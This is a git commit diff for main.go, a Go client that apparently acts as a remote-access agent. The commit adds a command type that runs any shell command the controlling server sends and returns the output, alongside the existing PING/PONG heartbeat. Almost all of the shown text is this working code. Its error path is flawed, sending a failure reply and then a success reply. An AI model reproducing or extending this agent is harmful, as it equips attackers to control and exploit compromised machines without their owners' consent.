Add ability to execute commands remotely
This commit is contained in:
parent
812deb4bdc
commit
baaa10086a
40
main.go
40
main.go
|
@ -8,6 +8,7 @@ import (
|
|||
"net"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/exec"
|
||||
"os/user"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
@ -24,10 +25,12 @@ type Client struct {
|
|||
|
||||
type Instructions struct {
|
||||
IsHeartbeat bool
|
||||
IsCommand bool
|
||||
Message string
|
||||
}
|
||||
|
||||
type Response struct {
|
||||
Successful bool
|
||||
Message string
|
||||
}
|
||||
|
||||
|
@ -127,17 +130,44 @@ func awaitInstructions(conn net.Conn) error {
|
|||
switch {
|
||||
///////////////////////////////
|
||||
case inst.IsHeartbeat == true && inst.Message == "PING":
|
||||
resp := Response{Message: "PONG"}
|
||||
if err := Heartbeat(conn); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
///////////////////////////////
|
||||
case inst.IsCommand == true:
|
||||
if err := executeCommand(conn, inst.Message); err != nil {
|
||||
return err
|
||||
}
|
||||
///////////////////////////////
|
||||
default:
|
||||
sendMessage(Response{Successful: false, Message: "Unknown order!"}, conn)
|
||||
}
|
||||
///////////////////////////////
|
||||
return nil
|
||||
}
|
||||
|
||||
func Heartbeat(conn net.Conn) error {
|
||||
resp := Response{Successful: true, Message: "PONG"}
|
||||
err := sendMessage(resp, conn)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
///////////////////////////////
|
||||
default:
|
||||
sendMessage(Response{Message: "Unknown order!"}, conn)
|
||||
}
|
||||
|
||||
func executeCommand(conn net.Conn, command string) error {
|
||||
formattedCommand := strings.Fields(command)
|
||||
out, err := exec.Command(formattedCommand[0], formattedCommand[1:]...).Output()
|
||||
if err != nil {
|
||||
resp := Response{Successful: false}
|
||||
sendMessage(resp, conn)
|
||||
}
|
||||
///////////////////////////////
|
||||
resp := Response{
|
||||
Successful: true,
|
||||
Message: string(out),
|
||||
}
|
||||
sendMessage(resp, conn)
|
||||
return nil
|
||||
}
|
||||
|
||||
|
|
Loading…
Reference in New Issue